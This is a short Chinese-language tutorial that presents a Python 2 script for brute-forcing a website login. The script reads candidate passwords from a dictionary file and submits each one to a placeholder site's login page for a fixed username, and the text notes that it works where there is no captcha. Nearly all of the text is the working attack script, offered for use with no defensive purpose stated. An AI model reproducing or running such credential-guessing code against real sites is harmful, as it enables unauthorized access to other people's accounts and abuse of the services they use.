根據字典檔案,使用python進行暴力破解,程式很簡單
注:針對沒有驗證碼的情況
例項程式碼:
#encoding=utf-8 import httplib,urllib conn = httplib.HTTPConnection("www.xxx.cn") f=open("dict.txt") while 1: pwd=f.readline().strip() if not pwd: print '字典已比對完。' break params = urllib.urlencode({'username': 'xxx', 'mod': '', 'password': pwd}) headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"} conn.request("GET", "/login/aaa.asp", params, headers) r = conn.getresponse() print r.status, r.reason data1 = r.read().decode('gbk')#編碼根據實際情況酌情處理 print data1.index(u'您輸入的密碼有誤'),'您輸入的密碼\'%s\'有誤'%pwd conn.close()